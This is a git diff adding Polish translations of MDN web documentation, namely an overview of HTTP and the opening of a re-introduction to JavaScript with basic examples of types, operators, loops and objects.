This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the origin constraint, by contrast, has only been added in the 2010s.

- -

Here is a list of common features controllable with HTTP.

- - - -

HTTP flow

- -

When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:

- -
    -
  1. Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.
  2. -
  3. Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: -
    GET / HTTP/1.1
    -Host: developer.mozilla.org
    -Accept-Language: fr
    -
  4. -
  5. Read the response sent by the server, such as: -
    HTTP/1.1 200 OK
    -Date: Sat, 09 Oct 2010 14:28:02 GMT
    -Server: Apache
    -Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
    -ETag: "51142bc1-7449-479b075b2891b"
    -Accept-Ranges: bytes
    -Content-Length: 29769
    -Content-Type: text/html
    -
    -<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    -
  6. -
  7. Close or reuse the connection for further requests.
  8. -
- -

If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.

- -

HTTP Messages

- -

HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a frame, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.

- -

There are two types of HTTP messages, requests and responses, each with its own format.

- -

Requests

- -

An example HTTP request:

- -

A basic HTTP request

- -

Requests consists of the following elements:

- - - -

Responses

- -

An example response:

- -

- -

Responses consist of the following elements:

- - - -

APIs based on HTTP

- -

The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.

- -

Another API, server-sent events, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.

- -

Conclusion

- -

HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.

- -

Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple HTTP message monitor.

diff --git a/files/pl/web/http/overview/index.html b/files/pl/web/http/overview/index.html new file mode 100644 index 0000000000..5fe95ca7ea --- /dev/null +++ b/files/pl/web/http/overview/index.html @@ -0,0 +1,178 @@ +--- +title: HTTP - wiadomości ogólne +slug: Web/HTTP/HTTP_wiadomosci_ogólne +tags: + - HTML + - HTTP + - Mechanika stron + - Wstęp +translation_of: Web/HTTP/Overview +--- +
{{HTTPSidebar}}
+ +

HTTP stanowi {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd.

+ +

A Web document is the composition of different resources

+ +

Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są żądaniami, a wiadomości wysyłane w odpowiedzi przez serwer odpowiedziami.

+ +

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.

+ +

Komponenty systemów opartych o HTTP 

+ +

HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.

+ +

Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną odpowiedzią. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.

+ +

Client server chain

+ +

W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.

+ +

Klient: agent użytkownika (user-agent)

+ +

User-agent to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.

+ +

Przegladarka jest zawsze jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)

+ +

Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.

+ +

Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź

+ +

The Web server

+ +

On the opposite side of the communication channel, is the server, which serves the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.

+ +

A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.

+ +

Proxies

+ +

Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called proxies. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:

+ + + +

Basic aspects of HTTP

+ +

HTTP is simple

+ +

HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.

+ +

HTTP is extensible

+ +

Introduced in HTTP/1.0, HTTP headers make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.

+ +

HTTP is stateless, but not sessionless

+ +

HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.

+ +

HTTP and connections

+ +

A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be reliable, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.

+ +

Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.

+ +

In order to mitigate this flaw, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.

+ +

Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with QUIC which builds on UDP to provide a more reliable and efficient transport protocol.

+ +

What can be controlled by HTTP

+ +

This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the origin constraint, by contrast, has only been added in the 2010s.

+ +

Here is a list of common features controllable with HTTP.

+ + + +

HTTP flow

+ +

When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:

+ +
    +
  1. Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.
  2. +
  3. Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: +
    GET / HTTP/1.1
    +Host: developer.mozilla.org
    +Accept-Language: fr
    +
  4. +
  5. Read the response sent by the server, such as: +
    HTTP/1.1 200 OK
    +Date: Sat, 09 Oct 2010 14:28:02 GMT
    +Server: Apache
    +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
    +ETag: "51142bc1-7449-479b075b2891b"
    +Accept-Ranges: bytes
    +Content-Length: 29769
    +Content-Type: text/html
    +
    +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    +
  6. +
  7. Close or reuse the connection for further requests.
  8. +
+ +

If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.

+ +

HTTP Messages

+ +

HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a frame, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.

+ +

There are two types of HTTP messages, requests and responses, each with its own format.

+ +

Requests

+ +

An example HTTP request:

+ +

A basic HTTP request

+ +

Requests consists of the following elements:

+ + + +

Responses

+ +

An example response:

+ +

+ +

Responses consist of the following elements:

+ + + +

APIs based on HTTP

+ +

The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.

+ +

Another API, server-sent events, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.

+ +

Conclusion

+ +

HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.

+ +

Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple HTTP message monitor.

diff --git a/files/pl/web/javascript/a_re-introduction_to_javascript/index.html b/files/pl/web/javascript/a_re-introduction_to_javascript/index.html new file mode 100644 index 0000000000..abb01ce731 --- /dev/null +++ b/files/pl/web/javascript/a_re-introduction_to_javascript/index.html @@ -0,0 +1,965 @@ +--- +title: Ponowne wprowadzenie do JavaScript (JS tutorial) +slug: Web/JavaScript/Ponowne_wprowadzenie_do_JavaScript +translation_of: Web/JavaScript/A_re-introduction_to_JavaScript +--- +
{{jsSidebar}}
+ +
+ +
Po co ponowne wprowadzanie? Ponieważ {{Glossary("JavaScript")}} osławiony jest jako najbardziej niezrozumiany język świata. Często wyśmiewany jest jako bycie zabawką, jednak pod warstwą jego prosoty czekają potężne funkcje. Obecnie JavaScript używany jest w niewiarygodnie dużej ilości wysokoprofilowych aplikacji, pokazując, że dogłębne zrozumienie tej technologii jest ważną umiejętnością dla każdego, webowego jak i mobilnego, dewelopera.
+ +
+ +
Warto rozpocząć od zaznajomienia się z historią tego języka. JavaScript został stworzony w 1995 roku przez Brendah Eich, który w tym czasie był inżynierem w Netscape. Pierwszy raz JavaScript został wydany z Netscape 2 początkiem 1996 roku. Pierwotnie miał on być nazywany LiveScript, został jednak przemianowany za sprawą feralnej decyzji marketingowej, która miała na celu wykorzystanie popularności języka Java Sun Microsystem - pomijając znikome części wspólne. Od tego czasu jest to źrodłem wielu nieporozumień.  
+ +
+ +
Kilka miesięcy poźniej Microsoft wydał JScript razem z Internet Explorer 3. Był to w większości kompatybilny i podobny w pracy do JavaScript. Kilka miesięcy po tym, Netscape zgłosił JavaScript do Ecma International, europejskiego stowarzyszenia standaryzującego, czego rezultatem było wydanie pierwszej edycji {{Glossary("ECMAScript")}}. Standard otrzymał znaczącą aktualizację jako ECMAScript edition 3 w 1999 roku i od tego czasu został prawie niezmieniony. Czwarta edycja została porzucona z powodu różnic politycznych dotyczących złożoności języka. Wiele części czwartej edycji uformowało podstawy dla piątej ECMAScript - opublikowanej w grudniu 2009 roku, oraz szóstej, której publikacja wypadła w czerwcu 2015 roku.
+ +
+ +
+ +
+

Od tej pory określenie "JavaScript" będzie używane w odniesieniu do ECMAScript, ponieważ określenie to jest bardziej rozpoznawalne.

+
+ +

W odróżnieniu od innych języków programowania, JavaScript nie posiada koncepcji wejścia ani wyjścia. Zaprojektowany został do działania jako język skryptowy działający w środowisku hosta i do tego środowiska nalezy zapewnienie mechanizmów komunikacji ze światem. Najbardziej pospolitym środowiskiem jest przeglądarka, jednak interpretatory JavaScript można znaleźć również w wielu innych miejscach włączając w to Adobe Acrobat, Adobe Photoshop, obrazy SVG, silnik wigetów Yahoo, w środowiskach uruchomieniowych takich jak Node.js, bazach danych NoSQL - Apache CouchDB, systemach wbudowanych czy kompletnych środowiskach graficznych takich jak GNOME ( jeden z najpopularniejszych GUI dla systemów operacyjnych GNU/Linux ).

+ +

Przegląd

+ +

JavaScript jest wieloparadygmatowym, dynamicznym językiem z typami i operatorami, standardowymi wbudowanymi obiektami oraz metodami. Jego składnia opiera się na językach Java i C - wiele struktur tych języków również zostało wprowadzonych do JavaScript-u. JavaScript wspiera programowanie obiektowe z prototypami obiektów zamiast klas ( zobacz więcej dziedziczenie prototypowe oraz ES2015 klasy (ang.)). Dodatkowo JavaScript wspiera programowanie funkcyjne - funkcje są obiektami, nadanie funkcjom możliwości przechowywania kodu wykonawczego i przekazywaniu go jak każdemu innemu obiektowi.

+ +

Zacznijmy od spojrzenia na budulec każdego języka: typy. Programy JavaScript manipulują wartościami, a wszystkie te wartości należą do typu. W JavaScript wyróżniamy typy: 

+ + + +

...oraz {{jsxref("undefined")}} i {{jsxref("null")}}, które są nieco dziwne. Obiekty posiadają specjalne rodzaje, więc aby być technicznie poprawnym powyższa lista powinna wyglądać następująco:

+ + + +

Istnieją także wbudowane typy {{jsxref("Error")}}. Będzie prościej jeśli będziemy trzymać się pierwszej listy, a więc omówione zostaną wymienione tam typy.

+ +

Liczby

+ +

Zgodnie ze specyfikacją numery w JavaScript są "wartościami podwójnie precyzyjnymi 64-bitowego formatu IEEE 754". Ma to pewne interesujące konsekwencje. W JavaScript nie ma rzeczy takiej jak liczba całkowita, należy więc być dość ostrożnym z artmetyką jeśli jesteś przyzywczajony do matematyki w języku C lub Java.

+ +

Dodatkowo, zwracaj uwagę na rzeczy takie jak: 

+ +
0.1 + 0.2 == 0.30000000000000004;
+
+ +

W praktyce, liczby całkowite są traktowane jako 32-bitowe jednostki, a niektóre implementacje przechowują je w ten sposób dopóki nie zostaną poproszone o wykonanie instrukcji, która jest poprawna dla liczby, ale nie dla 32-bitowej liczby całkowitej. Może to być istotne dla operacji bitowych.

+ +

Standardowe operatory arytmetyczne są wspierane, wliczając w to dodawanie, odejmowanie, modulo i tak dalej. Istnieje też wbudowany obiekt, o którym zapomnieliśmy wspomnieć, {{jsxref("Math")}}, który zapewnia zaawansowane funkcje i stałe matematyczne:

+ +
Math.sin(3.5);
+var circumference = 2 * Math.PI * r;
+
+ +

Możesz zamienić String na liczbę całkowitą używając wbudowanej funkcji {{jsxref("Global_Objects/parseInt", "parseInt()")}}. Funkcja ta przyjmuje podstawę do konwersji jako opcjonalny drugi argument, który zawsze należy podawać:

+ +
parseInt('123', 10); // 123
+parseInt('010', 10); // 10
+
+ +

W starszych przeglądarkach, String-i zaczynające się od "0" przyjmowane są w formacie ósemkowym (podstawa 8), jednak od 2013 roku nie stanowiło to problemu. Chyba, że jesteś pewien formatu String-a, mogą zaskoczyć Cię wyniki w starszych przeglądarkach:

+ +
parseInt('010');  //  8
+parseInt('0x10'); // 16
+
+ +

Widzimy tu, że funkcja {{jsxref("Global_Objects/parseInt", "parseInt()")}} traktuje pierwszego Stringa w systemie ósemkowym przez 0 na przodzie, drugi String natomiast traktowny jest w systemie szesnastowym przez "0x" z przodu. Zapis szesnastkowy nadal istnieje; tylko ósemkowy został usunięty.

+ +

Jeśli chcesz zmenić liczbę binarną na całkowitą, wystarczy zmienić podstawę:

+ +
parseInt('11', 2); // 3
+
+ +

Podobnie możemy przekształcić liczbę zmiennoprzecinkową używając wbudowanej funckcji {{jsxref("Global_Objects/parseFloat", "parseFloat()")}}.  W odróżnieniu do {{jsxref("Global_Objects/parseInt", "parseInt()")}}, parseFloat() zawsze uzywa 10 jako podstawy.

+ +

Możesz użyć działania jednoargumentowego +, aby zamienić wartości na liczby:

+ +
+ '42';   // 42
++ '010';  // 10
++ '0x10'; // 16
+
+ +

Specjalna wartość {{jsxref("NaN")}} ( skrót od "Not a Number" ( ang. nie numer )) zostaje zwrócona jeśli String nie jest liczbowy:

+ +
parseInt('hello', 10); // NaN
+
+ +

NaN jest toksyczny: jesli podasz go jako argument operacji matematycznej jej wynikiem również będzie NaN:

+ +
NaN + 5; // NaN
+
+
+ +

Możesz wykorzystać NaN do testów używając wbudowanej funkcji {{jsxref("Global_Objects/isNaN", "isNaN()")}}:

+ +
isNaN(NaN); // true
+
+
+ +

JavaScript dostarcza również specjalną wartość {{jsxref("Infinity")}} oraz -Infinity:

+ +
 1 / 0; //  Infinity
+-1 / 0; // -Infinity
+
+
+ +

Infinity, -Infinity oraz NaN wykorzystane mogą być do testów za pomocą wbudowanej funkcji {{jsxref("Global_Objects/isFinite", "isFinite()")}}:

+ +
isFinite(1 / 0); // false
+isFinite(-Infinity); // false
+isFinite(NaN); // false
+
+ +
Funkcje {{jsxref("Global_Objects/parseInt", "parseInt()")}} i {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} przekształcają String dopóki nie napotkają znaku, który nie spełnia wymagań formatu liczbowego, po napotkaniu takiego znaku zwrócona zostanie liczba przekształcona do tego momentu. Jednak operator "+" zwyczajnie zwróci NaN jeśli w przekształcanym Stringu znajduje się niepoprawny znak. Spróbuj przekształcić String "10.2abc" używając przedstawionych metod, aby lepiej zrozumieć ich rożnice.
+ +

Strings

+ +

String-ami w JavaScript są sekwencje znaków Unicode.  To powinna być dobra wiadomość dla każdego kto miał do czynienia z internacjonalizacją. Dokładniej, są to sekwencje jednostek kodowych UTF-16; każda jednostka kodowa jest reprezentowana przez 16-bitową liczbę. Każdy znak Unicode reprezentowany jest przez 1 lub 2 jednostki kodu.

+ +

Jeśli chcesz przekazać jeden znak, musisz poprostu użyć String-a składającego się z tego pojedyńczego znaku.

+ +

Aby sprawdzić długość String-a (w jednostkach kodu), użyj właściwości length:

+ +
'hello'.length; // 5
+
+ +

To było nasza pierwsza styczność z obiektami JavaScript! Wspominaliśmy, że możesz traktować String-i jak {{jsxref("Object", "obiekty", "", 1)}}? Też posiadają one {{jsxref("String", "metody", "#Methods", 1)}}, które pozwalają nimi manipulować i uzyskiwać informacje na ich temat:

+ +
'hello'.charAt(0); // "h"
+'hello, world'.replace('hello', 'goodbye'); // "goodbye, world"
+'hello'.toUpperCase(); // "HELLO"
+
+ +

Inne typy

+ +

JavaScript odróżnia {{jsxref("null")}}, który jest wartością wskazujacą na umyślny brak wartości ( dostęp do nich tylko za pomocą słowa kluczowego null ), od {{jsxref("undefined")}}, która jest wartością typu undefinded, wskazującą na niezainicjowaną wartość - oznacza to, że wartość nie została jeszcze przypisana. Zmienne zostaną omówione później, narazie wystarczy nam wiedza, że w JavaScripcie możliwe jest zdeklarowanie zmiennej bez przypisania do niej wartości. Jeśli to zrobimy zmienna będzie typu undefindedundefinded jest w rzeczywistości stałą.

+ +

JavaScript posiada boolean (logiczny typ danych) z możliwymi wartościami true lub false (obie są słowami kluczowymi). Każda wartość może zostać przekonwertowana na typ logiczny zgodnie z zasadami:

+ +
    +
  1. false, 0, pusty string (""), NaN, null, oraz undefined wszystkie odpowiadają false.
  2. +
  3. Wszystkie inne odpowiadają true.
  4. +
+ +

Możesz wykonać jawną konwersję używając wbudowanej funkcji Boolean():

+ +
Boolean('');  // false
+Boolean(234); // true
+
+ +

Jednak, tego typu zamiana jest rzadko potrzeba, ponieważ JavaScript automatycznie wykona konwersję, kiedy oczekiwać będzie typu logicznego jak na przykład w przypadku instrukcji warunkowej if (zobacz niżej). Z tego powodu czasami mówi się o "wartościach prawdziwych" (true values) i "wartościach fałszywych" (false value), które oznaczają wartości, które po konwersji na typ logiczny stają się, odpowienio, prawdziwe lub fałszywe. Alternatywnie wartości te nazywane mogą być "truthy" lub "falsy".

+ +

Operatory logiczne takie jak &&( i )||( lub ) oraz !( negacja ) są wspierane; zobacz niżej.

+ +

Zmienne

+ +

Do deklaracji nowej zmiennej w JavaScript używamy jednego z trzech słów kluczowych: let, const lub var.

+ +

let pozwala na deklarację zmiennej blokowej. Zadeklarowana zmienna dostępna jest z poziomu bloku, w którym została zadeklarowana.

+ +
let a;
+let name = 'Simon';
+
+
+ +

Poniżej znajduje się przykład zakresu ze zmienną zadeklarowaną za pomocą let:

+ +
// mojaZmiennaLet *nie* jest tutaj widoczna
+
+for (let mojaZmiennaLet = 0; mojaZmiennaLet < 5; mojaZmiennaLet++) {
+  // mojaZmiennaLet jest widoczna tylko tutaj
+}
+
+// mojaZmiennaLet *nie* jest tutaj widoczna
+
+ +

const pozwala zadeklarować zmienne, których wartości z założenia są stałe. Zmienna dostępna jest z bloku, w którym została zadeklarowana.

+ +
const Pi = 3.14; // deklaruje zmienną Pi
+Pi = 1; // zwrócony zostanie błąd ponieważ nie można zmieniać zmiennej const
+ +

var jest najczęściej deklarowaną zmienną. W odróżnieniu do dwóch pozostałych zmiennych nie posiada ograniczeń. Jest tak dlatego, że tradycyjnie był to jedeny sposób deklarowania zmiennych w JavaScript. Zmienna zadeklarowana przy użyciu var dostepna jest z funkcji, w której została zadeklarowana.

+ +
var a;
+var name = 'Simon';
+
+ +

Przykład zakresu zmiennej zadeklarowanej za pomocą var:

+ +
// mojaZmiennaVar *jest* tutaj widoczna
+
+for (var mojaZmiennaVar = 0; mojaZmiennaVar < 5; mojaZmiennaVar++) {
+  // mojaZmiennaVar jest widoczna dla całej funckji
+}
+
+// mojaZmiennaVar *jest* tutaj widoczna
+
+ +

Jesli zadeklarujesz zmienną bez przypisania do niej wartości, jej typ stanie się undefinded.

+ +

Ważną różnicą między JavaScript i innymi językami, jak Java, jest fakt, że w JavaScript bloki nie mają zasiegu; tylko funkcje posiadają zasięg. Więc jeśli zmienna zostanie zadeklarowana przy użyciu var w złożonej deklaracji (na przykład wewnątrz instrukcji warunkowej if), będzie ona widoczna dla całej funkcji. Jednak, korzystając ze składni ECMAScript 2015, deklaracje let i const pozwalają na tworzenie zmiennych o zasięgu blokowym.

+ +

Operatory

+ +

Operatory liczbowe w JavaScript to +, -, *, / oraz %, który jest operatorem reszty (co nie jest tym samym co modulo). Do przypisania wartości używamy =, istnieje także przypisanie złożone jak na przykład += i -=. Ich rozwinięcie to x = x operator y

+ +

x += 5;
+ x = x + 5;

+ +

Możesz użyć operatorów ++ aby inkrementować oraz -- aby dekrementować. Mogą one być używane zarówno jako operatory prefiksowe lub  przyrostkowe.

+ +

Operator + dodatkowo używany jest do łączenia string-ów.

+ +
'hello' + ' world'; // "hello world"
+
+
+ +

Jeśli dodasz string do numeru (lub innej wartości) wszystko zostanie przekształcone w string. Przykład poniżej:

+ +
'3' + 4 + 5;  // "345"
+ 3 + 4 + '5'; // "75"
+
+ +

Dodanie do czegoś pustego string-a jest przydatnym sposobem na zamiane tego w string. 

+ +

Porówniania w JavaScript wykonywane są za pomocą <><= oraz >=. Działają one zarówno ze string-ami jak i numerami. Równość jest trochę mniej prosta. Podwójny operator równości wykonuje przymusowe sprawdzenie kiedy podane zostały wartości o dwóch różnych typach, co czasami może dawać interesujące wyniki:

+ +
123 == '123'; // true
+1 == true; // true
+
+
+ +

Aby uniknąć przymusowego sprawdzenia, użyj potrójnego operatora równości:

+ +
123 === '123'; // false
+1 === true;    // false
+
+ +

Dodatkowo występują operatory != oraz !==.

+ +

JavaScript posiada również operacje bitowe.

+ +

Struktury kontroli

+ +

JavaScript posiada podobny zestaw struktur kontorli do innych języków rodziny C. Instrukcje warunkowe są wspierane przez if oraz else; jeśli chcesz możesz je ze sobą łączyć:

+ +
var name = 'kotki';
+if (name == 'pieski') {
+  name += ' hau';
+} else if (name == 'kotki') {
+  name += ' miau';
+} else {
+  name += '!';
+}
+name == 'kotki miau';
+
+ +

JavaScript ma pętle while i do-while. Pierwsza jest dobra do prostych pętli; druga, jeśli chcesz mieć pewność, że funkcja zostanie wykonana przynajmniej raz:

+ +
while (true) {
+  // an infinite loop!
+}
+
+var input;
+do {
+  input = get_input();
+} while (inputIsNotValid(input));
+
+ +

W JavaScript pętla for działa w taki sam sposób jak w C i Java: pozwala na zapewnienie informacji dla pętli w jednej lini.

+ +
for (var i = 0; i < 5; i++) {
+  // Will execute 5 times
+}
+
+ +

JavaScript dodatkowo posiada dwie inne znaczące pętle for: for...of

+ +
for (let value of array) {
+  // działania na value
+}
+
+ +

oraz for...in:

+ +
for (let własność in obiekt) {
+  // działania na własności obiektu
+}
+
+ +

Operatory && oraz || w których wykonanie drugiego operanda zależne jest od pierwszego. Przydatne do sprawdzania istnienia obiektu przed przypisaniem do niego atrybutów:

+ +
var name = o && o.getName();
+
+
+ +

Lub do cachowania wartości (kiedy wartości nieprawdziwe są nieprawidłowe):

+ +
var name = cachedName || (cachedName = getName());
+
+ +

JavaScript posiada potrójny operator dla wyrażeń warunkowych:

+ +
var allowed = (age > 18) ? 'yes' : 'no';
+
+ +

Warunek switch może być używany dla wielu odgałęzień na podstawie liczby lub ciągu znaków:

+ +
switch (action) {
+  case 'draw':
+    drawIt();
+    break;
+  case 'eat':
+    eatIt();
+    break;
+  default:
+    doNothing();
+}
+
+ +

Jeśli nie dodasz warunku break, wykonanie "przeskoczy" do następnego warunku. Takie działanie jest bardzo rzadko pożądane - w rzeczywistości warto opisać celowy "przeskok" w komentarzu w celu ułatwienia debugowania:

+ +
switch (a) {
+  case 1: // przeskok
+  case 2:
+    eatIt();
+    break;
+  default:
+    doNothing();
+}
+
+ +

Domyślny (default) warunek jest opcjonalny. Możesz mieć wyrażenia zarówno w części przełącznika (switch), jak i w przypadku (case); porównania między nimi odbywają się przy pomocy operatora ===

+ +
switch (1 + 3) {
+  case 2 + 2:
+    yay();
+    break;
+  default:
+    neverhappens();
+}
+
+ +

Obiekty

+ +

Obiekty w JavaScript można opisać jako prostą kolekcję par nazwa-wartość. Jako takie podobne są do:

+ + + +

Ze względu na popularność tej struktury danych są one świadectwem wszechstronności. Ponieważ wszystko (poza typami prostymi) jest traktowane w JavaScript jak obiekt, każdy program JavaScript naturalnie objemuje dużą ilość wyszukiwań w tablicach mieszających. Dobrze, że są one takie szybkie!

+ +

Część "nazwa" jest stringiem, natomiast wartość może być każdą wartością JavaScript- nawet kolejnym obiektem. Pozwala to na budowanie struktur danych o dowolnej złożoności.

+ +

Istnieją dwa podstawowe sposoby tworzenia pustego obiektu:

+ +
var obj = new Object();
+
+ +

Oraz:

+ +
var obj = {};
+
+ +

